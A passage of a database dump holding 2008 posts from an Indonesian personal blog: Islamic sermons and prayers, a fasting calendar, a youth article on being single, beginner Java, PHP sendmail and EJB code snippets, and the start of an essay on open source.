Jangan sampai kita termasuk orang-orang yang disebutkan Allah ta\'ala dalam firman-Nya:\r\n\r\n\"Dan mereka berteriak di dalam neraka itu, \'Ya Rabbi, keluarkanlah kami. niscaya kami akan mengerjakan amalan saleh berlainan dengan apa yang telah kami kerjakan.\' Bukankah Kami telah memanjangkan umurmu dalam masa yang cukup bagi orang yang mau berpikir?! Maka rasakanlah (adzab Kami) dan tidak ada bagi orang-orang yang zalim seorang penolong pun.\" (QS: Faathir: 37)\r\n\r\nNamun mereka tidak akan mungkin bisa kembali lagi ke dunia. Demikian pula mereka tidak akan mati di neraka. Allah ta\'ala bercerita:\r\n\r\n\"Mereka berseru, \'Wahai Malik, biarlah Rabb-Mu membunuh kami saja.\' Dia menjawab, \'Kalian akan tetap tinggal (di neraka ini). Sesungguhnya Kami benar-benar telah membawa kebenaran kepada kalian, namun kebanyakan kalian benci terhadap kebenaran tersebut.\'\" (QS. Az-Zukhruf: 77-78)\r\n\r\nJangankan untuk menghentikan siksaan, untuk mendapatkan setetes air pun mereka tidak bisa. Allah ta\'ala mengisahkan:\r\n\r\n\"Dan penghuni neraka menyeru penghuni surga, \'Berilah kami sedikit air atau makanan yang telah diberikan Allah kepada kalian.\' Mereka (penghuni surga) menjawab, \'Sesungguhnya Allah telah mengharamkan keduanya itu atas orang-orang kafir.\' (Yaitu) orang-orang yang menjadikan agama mereka sebagai main-main dan senda gurau, dan kehidupan dunia telah menipu mereka. Maka pada hari (kiamat) ini Kami melupakan mereka sebagaimana mereka melupakan pertemuan mereka dengan hari ini dan (sebagaimana) mereka selalu mengingkari ayat-ayat Kami.\" (QS. Al-A\'raf: 50-51)\r\n\r\nSemoga kita semua bukan termasuk golongan tersebut di atas, amin ya Rabbal \'alamin.\r\n\r\nTulisan ini terinspirasi dari salah satu nasihat yang disampaikan guru kami Syaikh Prof. Dr. Abdurrazzaq bin Abdul Muhsin al-\'Abbad dalam salah satu kajian beliau dalam kitab Al-\'Aqidah Al-Wasithiyyah yang diadakan di masjid al-Jami\'ah al-Islamiyah Madinah tiap Kamis pagi.\r\n\r\nPenulis: Abu Abdirrahman Abdullah Zaen, Lc.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (80,'2008-03-12 10:11:15','Create Icon Frame in Java(Bikin Icon di Frame Java)','Dulu bisa sekarang Lupa, weleh ya gitu klo ilmu gak dibagi2. Weleh piye to Mattt..!. Ok biar gak lupa lagi gua tulis.\r\n\r\nGimana sih cara ngrubah icon default dari from java. Sebenarnya cukup simple aja. Jika anda main di Netbeans, yuup setelah Object Grapik untuk tampilan dibuat, pasti class akan dijalankan di Main classnya.\r\n\r\nBerikut contoh Scriptnya:\r\n[code]\r\n public static void main(String args[]) {\r\n java.awt.EventQueue.invokeLater(new Runnable() {\r\n public void run() {\r\n SmarSMS ss = new SmarSMS();\r\n ss.setIconImage(new javax.swing.ImageIcon(getClass().\r\ngetResource(\"/smartsms/imgs/sysstart.png\")).getImage());\r\n ss.setVisible(true);\r\n }\r\n });\r\n }\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (82,'2008-03-22 21:13:50','Do\'a dikala ragu akan dirinya...:)','Ya Allah...\r\nSeandainya telah Engkau catatkan\r\ndia akan mejadi teman menapaki hidup\r\nSatukanlah hatinya dengan hatiku\r\nTitipkanlah kebahagiaan diantara kami\r\nAgar kemesraan itu abadi\r\nDan ya Allah... ya Tuhanku yang Maha Mengasihi\r\nSeiringkanlah kami melayari hidup ini\r\nKe tepian yang sejahtera dan abadi\r\n\r\nTetapi ya Allah...\r\nSeandainya telah Engkau takdirkan...\r\n...Dia bukan milikku\r\nBawalah ia jauh dari pandanganku\r\nLuputkanlah ia dari ingatanku\r\nAmbillah kebahagiaan ketika dia ada disisiku\r\n\r\nDan peliharalah aku dari kekecewaan\r\nSerta ya Allah ya Tuhanku yang Maha Mengerti...\r\nBerikanlah aku kekuatan\r\nMelontar bayangannya jauh ke dada langit\r\nHilang bersama senja nan merah\r\nAgarku bisa berbahagia walaupun tanpa bersama dengannya\r\n\r\nDan ya Allah yang tercinta...\r\nGantikanlah yang telah hilang\r\nTumbuhkanlah kembali yang telah patah\r\nWalaupun tidak sama dengan dirinya....\r\n\r\nYa Allah ya Tuhanku...\r\nPasrahkanlah aku dengan takdirMu\r\nSesungguhnya apa yang telah Engkau takdirkan\r\nAdalah yang terbaik buatku\r\nKarena Engkau Maha Mengetahui\r\nSegala yang terbaik buat hambaMu ini\r\n\r\nYa Allah...\r\nCukuplah Engkau saja yang menjadi pemeliharaku\r\nDi dunia dan di akhirat\r\nDengarlah rintihan dari hambaMu yang daif ini\r\n\r\n----------------------------------------\r\nJangan Engkau biarkan aku sendirian\r\nDi dunia ini maupun di akhirat\r\n----------------------------------------\r\n\r\nMenjuruskan aku ke arah kemaksiatan dan kemungkaran\r\nMaka kurniakanlah aku seorang pasangan yang beriman\r\nSupaya aku dan dia dapat membina kesejahteraan hidup\r\nKe jalan yang Engkau ridhai\r\nDan kurniakanlah padaku keturunan yang soleh\r\n\r\nAmin... Ya Rabbal \'Alamin ',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (83,'2008-03-24 13:20:46','KEEP FIGHTING SPIRIT :)','KEEP FIGHTING SPIRIT\r\n====================\r\n\r\nMaaat!, Mat, kenapa hari ini males banget. Weh, padahal rejeki udah didepan mata, tinggal kerjain dengan sebaik-baiknya tambah deh tabungannya. Lumayan bisa beli sawah hehe. Klo MALES lagi, meding dibaca lagi yang udah kamu tulis ini.\r\n\r\n1. Jadi Ahli dibidang mu\r\n\r\n2. Buatkan yang terbaik\r\n\r\n3. Jadikan Cemohan, Hinaan, dan semua Kejelekan jadi Ukuran diri\r\n\r\n4. Tidak semua orang bisa menerima, pasti ada yang IRI, DENGKI\r\ndan semua dari manusia berpenyakit hati.\r\n\r\n5. Tetap istiqomah di jalan Allah, Semangat...! \r\n\r\n6. Bila merasa imbalan kurang minta ama Allah, Dia adalah Maha yang\r\nseadil-adilnya\r\n\r\n7. Ingat kebaikan didunia, tidak sebanding dengan kebaikan nanti di akhirat\r\n\r\n8. Membantu Orang, untuk kemudahannya adalah tugas mu. Itulah yang di\r\ncontohkan Rosul.\r\n\r\n9. Kamu akan dihargai, ketika kamu menebar kebaikan kepada Orang,\r\nKeep Smile.\r\n\r\n10. Ingat..! Allah Tidak akan merubah suatu kaum, bila mereka tidak mau berusaha.',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (84,NULL,'Configure Sendmail in Linux [Fedora] for mail php','Configure Sendmail in Linux [Fedora] for mail php\r\n\r\nWeleh ternyata, ....! Ditulis lagi biar gak lupa, hihi :D.\r\n\r\nSIngkat cerita mau makek function dari php buat kirim email. dengan script sebagai berikut.\r\n[code]\r\n<?php\r\n$to = \'mamat@jmn.net.id\';\r\n$subject = \'Testing wae kok\';\r\n$message = \'hello dullzz\';\r\n$headers = \'From: presiden-sby@indonesia.go.id\' . \"\\r\\n\" .\r\n \'Reply-To: webmaster@mamatzone.net\' . \"\\r\\n\" .\r\n \'X-Mailer: PHP/\' . phpversion();\r\n\r\nmail($to, $subject, $message, $headers);\r\n?> \r\n[/code]\r\n\r\nWeh kok gak bisa-bisa kiy, wew. Mulai jam 8.30 sampek jam 10.24, cccc :D. Pertama dilai setingna \"php.ini\" nya di \"/etc/php.ini\".\r\n[code]\r\n#vim /etc/php.ini\r\n\r\nsendmail_path = /usr/sbin/sendmail -t -i\r\n[/code]\r\nWah dah bener...!, apanya yak.., wew? [pusing mode on] \r\n\r\nAtas berkat Rahmat dari Tuhan Yang Maha Esa dan didorong oleh keinginan luhur maka,.... permasalahnya karena sendmailnya belum dijalankan hihi, isin aq :P\r\n\r\nJadi jalankan dulu sendmailnya\r\n[code]\r\n#/etc/init.d/sendmail start\r\n[/code]\r\nOk, ternyata cuma gitu aja. dan function kirim email di php berjalan dengan lancar. Weleh weleh... Duh Teh ku wis entekk.. wew :P',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (85,'2008-03-29 10:51:39','Ada Jomblo di Tengah Kita','Buletin Gaul Islam\r\nAda Jomblo di Tengah Kita \r\n \r\n\r\nSemua itu mimpi o...o u o u o\r\nHanyalah bualan o...o u o u o\r\nSemua itu bohong o...o u o u o\r\nAku tetap saja o... tetap sendiri\r\n\r\nKamu pasti udah hapal ama lirik lagu yang dilantunkan Armand Maulana sang vokalis GIGI di atas. Apalagi kalo ditanya judul lagunya? Hmm?pasti deh pada ngacung. Tapi please?, yang belon pake Rexona jangan ikutan ngacung ya (eh, ini iklan ya?). Bukan apa-apa. Takut disangka sumber polusi udara. Hehehe?. keep smile ya.\r\n\r\nSelain easy listening , tuh lagu turut mempopulerkan istilah jomblo di kalangan anak muda. Liriknya seolah mengungkap kegelisahan hati seseorang yang belon punya gandengan. Soalnya, truk aja bisa punya gandengan masa\' doi nggak. Betul? Betuul?! Tapi ngomong-ngomong, jomblo itu apa sih? Ih? tulalit deh!\r\n\r\nGini, secara etimologi seperti tercantum dalam Kamus Besar Bahasa Indonesia , jomblo itu artinya perempuan tua yang nggak laku-laku alias perawan tua. Tapi seiring berjalannya waktu, terjadi perluasan makna pada kata jomblo. Kini, jomblo dimaknai sebagai julukan ?trendi\' buat mereka (baik cowok maupun cewek) yang masih sendiri, belum punya pacar, dan belum punya gandengan (emangnya truk?). Pokoknya masih suka sendiri aja (atau memang belum ada yang ngajak barengan). Gitchu. Ehm, apakah kamu termasuk di dalamnya? Hehehe\r\n\r\nPro-kontra seputar jomblo\r\n\r\nDalam pergaulan remaja, perdebatan tentang status jomblo nggak kalah serunya dengan debat capres kemaren-kemaren. Banyak yang pro, tapi nggak sedikit juga yang kontra.\r\n\r\nBagi yang pro, mereka enjoy bilang ? its oke to be jomblo ?. Predikat itu bukan masalah bagi mereka. Justru mereka menikmati hidup tanpa pasangan. Sebagai wujud rasa syukur mereka, ada di antaranya yang bikin perkumpulan dengan nama Jojoba alias Jomblo-jomblo Bahagia . Malah ada juga yang tergabung dalam komunitas Kelompok Jomblo Ceria yang disingkat Kejora. Ehm, Ijo Lumut ( Ikatan Jomblo Lucu dan Imut ) boleh juga tuh. Ada yang mau gabung? Pilih yang oke visi, misi, dan programnya (duileee). Wis, sundut terus!\r\n\r\nMereka ngerasa keberadaan pasangan malah bikin ribet. Kayak memasung kebebasan bin kreativitasnya gitu lho. Deket dikit aja ama temen lawan jenis, dicemburuin. Nggak mau ngikutin kemauan ?yayang\', dibilang nggak cinta. Nggak balas SMS atau missed call aja disangka selingkuh. Punya pendapat berbeda malah dicemberutin. Kalo udah gini, tentu being jomblo lebih asyik. Nggak terikat atau mengikat orang lain. Punya otoritas penuh nentuin langkah kakinya sendiri mau belok kiri, kanan, atau lurus tanpa intervensi dan pengawasan dari pihak lain. Mereka juga ngerasa nggak membebani orang lain untuk memenuhi keinginan-keinginannya. Nggak heran kalo para jomblo itu begitu bahagia dan ceria menikmati kesendiriannya. Huhuy!\r\n\r\nSementara yang kontra, mereka juga punya alasan yang nggak kalah dahsyatnya. Bagi mereka, menyandang status jomblo seperti kutukan (wuiih syerem bener..). Soalnya hidup tanpa curahan kasih sayang dari lawan jenis ibarat sayur tanpa garam. Garing bin kering kerontang. Apalagi di kalangan remaja yang menobatkan pacaran sebagai simbol pergaulannya. Alamat bakal tersisih dari pergaulan dan memanen kata-kata sindiran yang pelan tapi dalem dan bikin kuping panas. Seperti yang dialami tiga cewek jomblo Gwen, Keke, dan Olin dalam film 30 Hari Mencari Cinta yang dituding lesbian cuma karena nggak punya gacoan. Gimana nggak gondok? Nggak ku..ku.. deh!\r\n\r\nMakanya bagi kaum antijomblo, nggak punya pasangan bisa bikin depresi. Gejala yang ringan sih mungkin cuma uring-uringan, mimik mupeng ngeliat temennya yang pacaran, atau krisis percaya diri karena tak kunjung laku (emangnya jualan?). Tapi bagi yang sudah akut, gejalanya bisa parah. Karena nggak kuat lagi menahan rasa malu, gunjingan atawa sindiran, orang bisa menarik diri dari pergaulan sosial atawa malah terdampar di Rumah Sakit Jiwa. Bukannya kita nakut-nakutin ya, cuma bikin kamu parno (paranoid) aja. Yee...sama aja atuh!\r\n\r\nKaum yang kontra ini, ada yang sampe mendeklarasikan berdirinya PJI alias Partai Jomblo Indonesia. Mereka memperjuangkan persamaan hak dalam mendapatkan jodoh. Mengingat ada di antara mereka yang terkena dampak buruk dari rolek alias risiko orang jelek. Loyalitas mereka dalam perjuangannya terukir dalam semboyannya yang menggugah semangat. ?Jomblo itu pedih, Jendral...!? Walah!\r\n\r\nMending jomblo daripada maksiat\r\n\r\nSobat muda muslim, kian hari opini media yang memojokkan para jomblo kian tak terkendali. Remaja makin diarahkan untuk berani mengekspresikan rasa suka kepada lawan jenis dengan berpacaran. Tayangan-tayangan ghibahtaintment yang berseliweran tiap hari di layar kaca, bikin permasalahan cinta menjadi masalah utama dalam hidup manusia. Kedekatan seorang selebritis dengan lawan jenis dikupas habis dengan bumbu sana-sini biar layak jual. Aksi ?penembakan? yang dilakukan remaja diabadikan dalam ?Katakan Cinta?. Perselingkuhan di antara mereka pun sampe melibatkan detektif H2C atau dengan pembuktian Playboy Kabel .\r\n\r\nParahnya, remaja mengkonsumsi semua tayangan di atas setiap minggu. Cinta... cinta....dan cinta..... Tiada hari tanpa obrolan cinta. Otomatis secara psikologi ada beban tersendiri dalam perkembangan jiwa mereka. Malu bin nggak pede dalam kesendiriannya. Merasa terasingkan ketika kebanyakan temen-temennya udah punya gebetan meski usia baru belasan. Pengaruh media membuat murid-murid SMP pun udah Saatnya Mencari Pacar . Berabe euy!\r\n\r\nMaaf, bukannya kita mau melestarikan status jomblo. Bukannya mau ngelarang temen-temen jomblo untuk nyari pasangan. Bukan juga mengajak para jomblo untuk tabbatul (membujang). Tapi kalo upaya pelepasan predikat jomblo selalu berujung pada aktivitas pacaran, mendingan tetep istiqomah menyandang status jomblo. Seperti pepatah bilang, biar jomblo asal selamat dari aktivitas maksiat. Setuju?\r\n\r\nHigh Quality Jomblo= JI\r\n\r\nSobat muda muslim, istiqomah dengan predikat jomblo bukanlah sebuah aib yang kudu disesali. Karena derajat manusia di hadapan Allah tidak dinilai berdasarkan predikat ini. Itu berarti kaum jomblo punya peluang yang sama besar dengan para alumninya yang udah merit untuk dapetin pahala Allah yang berlimpah. Jadilah High Quality Jomblo (HQJ) di hadapan Allah. Caranya?\r\n\r\nPertama , HQJ nggak semata dinilai dari penampilan fisik seperti yang disyaratkan dalam ?Katakan Cinta?. Tapi dinilai dari keterikatannya dengan aturan Allah. Ini berlaku untuk setiap perbuatan dia. Dari bangun tidur sampe tidur lagi. Sehingga melahirkan sikap akhlakul kariimah . Dengan tetangga sebelah rumah akur. Nggak sungkan ngasih pertolongan sesuai kemampuannya. Anti sikap individualis bin egois. Santun dalam bertutur kata dan menyampaikan pendapat. Bersikap tegas tanpa harus bertindak keras. Atau terbuka untuk menerima perbedaan pendapat.\r\n\r\nKedua , seorang HQJ nggak dosa punya tampang menawan hati. Itu kan anugerah dari Allah, ya kudu disyukuri. Tapi bakal dosa kalo anugerah itu dipake tebar pesona sana-sini. Apalagi sampai diobral. Emangnya produk sisa ekspor? Nggak lha yauw!\r\n\r\nKetiga , seorang HQJ juga pandai memanfaatkan masa kesendiriannya. Waktu, pikiran, tenaga, dan isi dompetnya nggak dihabisin buat ngurusin cinta yang nggak sehat. Tapi dioptimalisasi untuk mengekspresikan cinta kepada Allah dan RasulNya. Kegigihannya dalam menuntut ilmu semata-mata demi kemaslahatan umat. Ngasih porsi yang lebih besar dari waktu yang dimilikinya untuk terjun ke dunia dakwah.\r\n\r\nItu sebabnya, doi aktif ngaji, getol dakwah, sopan, dan taat syariat. Malah ada juga lho di antara mereka yang prestasi akademisnya berbanding lurus dengan kecintaannya terhadap perjuangan menegakkan Islam. Karena doi yakin Allah akan memberikan yang terbaik untuknya (ajal. jodoh, rejeki, kebaikan dsb). Rasul saw. bersabda: ?Tidak layak seseorang, ketika menyaksikan suatu tempat di dalamnya ada kebenaran, kecuali dia akan mengatakannya. Sesungguhnya sekali-kali hal itu tidak akan pernah memajukan ajalnya dan tidak akan mencegah apa yang telah menjadi rezeki baginya? ( HR al-Baihaqi )\r\n\r\nNah sobat, tiap orang pantas dan pasti menjadi HQJ seperti di atas (kecuali yang udah merit kali ya). Jangan minder meski tampang kita pas-pasan. Kuncinya cuma satu, ridho ngikutin aturan Allah yang original dalam keseharian kita. Bukan aturan bajakan yang doyan kompromi ama sekulerisme dan anak cucunya. Sebab cuma buat yang original Allah bakal ngasih garansi. Nggak cuma seumur hidup, tapi dunia akhirat. Di akhirat kita selamat, di dunia kita bisa jadi anggota JI.\r\n\r\nHah?! JI?! Sst?jangan bilang-bilang polisi ya. Entar didatengin pasukan antiteror 88 lagi. JI di sini artinya Jomblo Idaman yang bisa menjelma jadi CIA (Cowok Incaran Akhwat) atau FBI (Female Bidikan Ikhwan). Masa\' nggak kepengen sih?\r\n\r\nMengakhiri masa jomblo\r\n\r\nSobat muda muslim, meski telah menjadi anggota JI, semoga kamu nggak puas dengan predikat itu. Apalagi sampe mengikrarkan diri untuk menjadi jomblo abadi binti sejati. Jangan deh. Gimanapun juga, Rasul mensunnahkan kita yang sudah mampu untuk mengakhiri masa jomblo. Dengan menikah, kita turut menambah barisan perjuangan Islam dan kaum Muslimin. Bagi ikhwan, jangan lewatkan peluang menjadi suami dan seorang ayah. Betapa nikmatnya memikul tanggung jawab. Terlahir suatu kekuatan yang mampu menggali potensi untuk menafkahi keluarga. Dan bagi akhwat, rasakan asyiknya menjadi seorang ibu dan pengatur rumah tangga, menjadi madrasah buat jundullah tercinta, atau mendampingi suami meraih ridho ilahi. Bener lho!\r\n\r\nMakanya kudu tetep semangat. Meski usia sudah masuk kepala tiga atau masih berstatus mahasiswa. Percaya deh, Allah pasti akan menunjukkan jalan bagi hambaNya yang hendak menikah demi menjaga kehormatannya. Kuncinya sabar dan tawakkal.\r\n\r\nSabar tatkala kendala menghadang di tengah perjalanan kita. Misalnya calon mertua belon bisa menerima kita. Itu cuma butuh introspeksi dan usaha gigih untuk melumerkan diding esnya. Sama halnya dengan kesiapan materi yang selalu menjadi momok di kalangan ikhwan sebelum naik ke pelaminan. Yang perlu dilakukan hanya menentukan batas waktu yang jelas untuk memotivasi usaha persiapan materi. Bisa usia, tanggal, bulan, atau tahun. Jangan menggantungkan kesiapan diri kita pada materi. Karena materi nggak akan pernah membuat kita siap. Betul?\r\n\r\nSobat muda muslim, perlu dicatet ya, kalo perlu pake stabilo merah menyala, kita di sini tidak bermaksud manas-manasin para jomblo untuk segera melepaskan statusnya. Kita cuma ngomporin doang kok. Hehehe?nggak ding, kita cuma mau ngasih informasi yang lengkap seputar pro kontra status jomblo dalam kacamata Islam. Ehm, moga paham.\r\n\r\nKita udah cukup dewasa untuk menentukan pilihan. Kalo masih betah dengan status jomblo, jadilah High Quality Jomblo . Kalo nggak tahan ama sundutan untuk merit, ikhlaskan niat untuk meraih pernikahan berkah. Intinya, mari kita sama-sama berusaha agar keseharian kita tak lepas dari keterikatan dengan aturan Allah. Jomblo atau mantan jomblo, ya nggak masalah. Betul? Betuuuul! [hafidz] ',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (86,'2008-03-30 20:46:39','Jadwal Puasa Sunnah 2008','Jadwal Puasa Sunnah 2008\r\nAgenda Muslimah - Sunday, 20 January 2008\r\n\r\n*Jadwal Puasa Sunnah Yang Dianjurkan Islam - Tahun 2008*\r\n\r\nKetika Islam melarang berpuasa pada hari-hari tertentu, maka Islam pun menganjurkan kepada umatnya agar berpuasa pada hari-hari yang Rasulullah sendiri biasa melakukannya.\r\n\r\nBerikut adalah jadual \'Puasa Sunnah\' sesuai penanggalan Masehi. Tahun 2008.\r\n\r\nSemoga manfaat.\r\n\r\n1. Puasa tiap hari Senin dan Kamis.\r\n2. Puasa 3 (tiga) hari setiap bulan - \'shaumul biidh\' - Yakni pada\r\ntanggal 13.14.15 - penanggalan Islam - (saat bulan purnama).\r\nTanggal-tanggal tersebut adalah:\r\n\r\n- 22, 23, 24 Januari 2008 / Muharram 1429 H\r\n- 20, 21, 22 Februari 2008 / Shafar 1429 H\r\n- 21, 22, 23 Maret 2008/ Rabi\'ul Awwal 1429 H\r\n- 20, 21, 22 April 2008/ Rabi\'ul Akhir 1429 H\r\n- 19, 20, 21 Mei 2008/ Jumadil Awwal 1429 H\r\n- 17, 18, 19 Juni 2008/ Jumadil Akhir 1429 H\r\n- 16, 17, 18 Juli 2008/ Rajab 1429 H\r\n- 15, 16, 17 Agustus 2008/ Sya\'ban 1429 H\r\n- 13, 14, 15 Oktober 2008/ Syawwal 1429 H\r\n- 11, 12, 13 November 2008/ Dzulqa\'idah 1429 H\r\n- 12, 13 Desember 2008/Dzulhijjah 1429H.\r\n\r\n*Catatan: 11 Desember 2008 bertepatan dengan hari tasyriq - 13\r\nDzulhijjah 1429H. *\r\n*Hari **tasyriq tidak diperkenankan berpuasa.\r\n*Catatan: Puasa Ramadhan 1429 H : 1 September 2008 -\r\n30 September 2008.\r\n\r\n3. Puasa 1/3 (sepertiga) bulan - Yakni di bulan Dzulhijjah.\r\nAntara 11 Desember 2007 - 9 Januari 2008 / Dzulhijjah 1428 H\r\nAntara 29 November 2008 - 28 Desember 2008/ Dzulhijjah 1429 H\r\nPuasa tanggal 9 Dzulhijjah (Arafah) bagi selain orang yang melaksanakan haji. Yakni : 7 Desember 2008/ 9 Dzulhijjah 1429 H\r\n*Tidak diperkenankan berpuasa :\r\nHari Idul Adha - 10 Dzulhijjah/ 8 Desember 2008\r\nHari tasyriq - 11, 12, 13 Dzulhijjah/ 9, 10,\r\n11 Desember 2008/Dzulhijjah 1429 H\r\n\r\n4. Puasa bulan Muharram - \'Asyura\' selama 3 (tiga) hari - tanggal\r\n9,10,11 Muharram. Sangat dianjurkan tanggal 9 dan 10 ( Tasu\'a dan\r\n\'Asyura ) Yakni : 18, 19, dan 20 Januari 2008/ Muharram 1429 H.\r\n\r\n5. Puasa pada sebagian bulan Sya\'ban. Antara 3 Agustus - 31 Agustus 2008.\r\n\r\n6. Puasa 6 hari pada bulan Syawwal. Antara 2 Oktober - 29 Oktober 2008.\r\n*Tidak diperkenankan puasa pada 1 Syawwal - 1 Oktober 2008.*\r\n\r\n7. Puasa Daud - berpuasa berselang-seling. Berpuasa satu hari lalu\r\nberbuka satu hari.\r\n\r\nRingkasan - Referensi :\r\nFiqhus Sunnah Sayyid Sabiq\r\nTamamul Minnah, Muhammad Nashiruddin al-Albani\r\nAl-Islam- Pusat Informasi dan Komunikasi Islam\r\nIndonesia Penanggalan\r\nTahun 2008 - Penerbit Gema Insani.\r\nKiriman : Debby Wahyuni, Milis Kafemuslimah ',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (87,'2008-03-31 14:35:27','Play Wav in Java (Streaming jug bisa)','Weh karena cari artikel ini gak ketemu-ketemu akhirnya explor sendiri. Payah di dokumentasi resminya java gak ngasih contoh je byuh.\r\n\r\nLangsung aja berikut scriptnya:\r\n[code]\r\nimport java.io.FileInputStream;\r\nimport java.util.Timer;\r\n\r\nimport sun.audio.AudioPlayer;\r\nimport sun.audio.AudioStream;\r\n\r\n\r\npublic class SoundTest {\r\n public void playSound(String path){\r\n try{\r\n FileInputStream fis = new FileInputStream(path);\r\n AudioStream as = new AudioStream(fis);\r\n\r\n AudioPlayer.player.start(as);\r\n wait(1000);\r\n AudioPlayer.player.stop(as);\r\n System.out.println(\"Ok\");\r\n }catch(Exception e){\r\n //System.out.println(e);\r\n }\r\n }\r\n public static void main(String[]args){\r\n //playSound(\"src/org/test/alarm.wav\");\r\n SoundTest st = new SoundTest();\r\n st.playSound(\"src/org/test/alarm.wav\");\r\n \r\n }\r\n}\r\n[/code]\r\ncontoh di atas menggunakan File local, tp kita bisa melakukan streaming dari server lho. Mudah-mudahan bermanfaat terutama untuk daku sendiri hehe takut kelupaan.',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (88,'2008-04-08 11:11:31','Contoh Source Code EJB vs Entity Databse Derby','Contoh Source Code EJB vs Entity Databse Derby\r\n\r\nhehe bikin EJB aja kok lupa, ngaku programer java weh malu maluin. Yah ya gini kla jadi programer multi coder, hehe klo udah pindah kelain hati ya lupa semuanya. Ok biar nanti klo lupa lagi bisa ngiat-ngiat di blog ini. \r\n\r\nPastikan dahulu anda sudah membuat database, dan mengenerate menjadi Entity. Oh ya ini develop pakek Neatbeans. Ini contohnya Mat Databse=Test, Table=ttest, fieldnya=columna,columb. Ingat Maattt..! klo bikin databse pakek DERBY pakek huruf kapital semua, mulai dari NAMADATABSE, NAMATABLE, NAMACOLUMN biar gak ada error. Kelitannya derby ada bugnya.\r\n\r\nCOnoth hasil generate Entity\r\n[code]\r\n@Entity\r\n@Table(name = \"ttest\")\r\n@NamedQueries( {\r\n //ditambahin biar bisa select semuanya ini radak extrem\r\n @NamedQuery(name = \"Ttest.findAll\", query = \"SELECT t FROM Ttest t \"),\r\n \r\n @NamedQuery(name = \"Ttest.findByColumna\", query = \"SELECT t FROM Ttest t WHERE t.columna = :columna\"),\r\n @NamedQuery(name = \"Ttest.findByColumnb\", query = \"SELECT t FROM Ttest t WHERE t.columnb = :columnb\")\r\n })\r\n[/code]\r\n\r\nCara makek Entity di EJB nya\r\n[code]\r\n/*\r\n * TestSessionBean.java\r\n *\r\n * Created on April 7, 2008, 3:04 PM\r\n *\r\n * To change this template, choose Tools | Template Manager\r\n * and open the template in the editor.\r\n */\r\n\r\npackage com.session;\r\n\r\nimport com.entity.Ttest;\r\nimport java.util.List;\r\nimport javax.annotation.Resource;\r\nimport javax.ejb.Stateless;\r\nimport javax.persistence.EntityManager;\r\nimport javax.persistence.PersistenceContext;\r\nimport javax.sql.DataSource;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\n@Stateless\r\npublic class TestSessionBean implements TestSessionLocal {\r\n\r\n //Pastikan ini udah ada mat, nama jndi untuk koneksi ke databasenya \r\n @Resource(name = \"derbytest\")\r\n private DataSource derbytest;\r\n\r\n //ini meload entity yang udah dibuat waktu generate databse tables menjadi object\r\n @PersistenceContext\r\n private EntityManager em;\r\n \r\n /** Creates a new instance of TestSessionBean */\r\n public TestSessionBean() {\r\n }\r\n\r\n public void persist(Object object) {\r\n // TODO:\r\n em.persist(object);\r\n }\r\n \r\n //select database\r\n public String getTtest(){\r\n try{\r\n List listTestData = em.createNamedQuery(\"Ttest.findAll\").getResultList();\r\n \r\n String xml = \"<test>\";\r\n for(int i = 0; i < listTestData.size(); i++){\r\n Ttest tes = (Ttest)listTestData.listIterator(i).next();\r\n xml +=\"<col1>\"+tes.getColumna()+\"</col1>\" +\r\n \"<col2>\"+tes.getColumnb()+\"</col2>\";\r\n \r\n }\r\n xml +=\"</test>\";\r\n \r\n return xml;\r\n } catch (Exception e){\r\n return \"<error>\"+e+\"</error>\";\r\n }\r\n }\r\n \r\n //tambah ke tables\r\n public String addTtest(String col1, String col2){\r\n try{\r\n String xml = \"\";\r\n Ttest tes = new Ttest();\r\n tes.setColumna(col1);\r\n tes.setColumnb(col2);\r\n \r\n em.merge(tes);\r\n return \"<test>Tambah data berhasil</test>\";\r\n \r\n } catch (Exception e){\r\n return \"<error>\"+e+\"</error>\";\r\n }\r\n }\r\n \r\n //hapus data di table\r\n public String delTtest(String col1){\r\n try{\r\n String xml = \"<test> Delete ID \"+col1+\" berhasil</test>\";\r\n Ttest tes = em.find(Ttest.class,col1);\r\n em.remove(tes);\r\n \r\n return xml;\r\n } catch(Exception e){\r\n return \"<error>\"+e+\"</error>\";\r\n }\r\n }\r\n \r\n //edit data di database\r\n public String editTtest(String col1, String col2){\r\n try{\r\n String xml = \"<test> Edit ID \"+col1+\" berhasil</test>\";\r\n Ttest tes = em.find(Ttest.class,col1);\r\n tes.setColumnb(col2);\r\n \r\n em.merge(tes);\r\n return xml;\r\n \r\n } catch(Exception e){\r\n return \"<error>\"+e+\"</error>\";\r\n }\r\n }\r\n \r\n}\r\n\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (89,'2008-04-08 14:04:52','How Open Source (Ideas) Can Win the War and Save the Auto Industry','April 07, 2008\r\nHow Open Source (Ideas) Can Win the War and Save the Auto Industry\r\n\r\nI am often dismayed by the misappropriation of the term open source. Companies apply the term to products that are free though not open source. It\'s a classic marketing maneuver to leverage a brand that already has broad recognition.\r\n\r\n\r\n\r\nA clothing company sent me a release not too many months ago about their new open source clothing line. After close inspection they meant design your own outfit from their catalog of designs that they owned. It wasn\'t open source but I recall a number of open source trade publications picking up the story. Good marketing stunt but not accurate.\r\n\r\n\r\nFree isn\'t open source but they effectively seized some brand equity and got their story out. Actually the term open source implies that the product has an underlying source code. It\'s a software term. It has a definition. It\'s about allowing someone or anyone to take a piece of work and repackage, improve, and redistribute it under the same terms that they received it.\r\n\r\nOpen source is really a concrete manifestation of a two more the open idea and massive collaboration. The open idea is 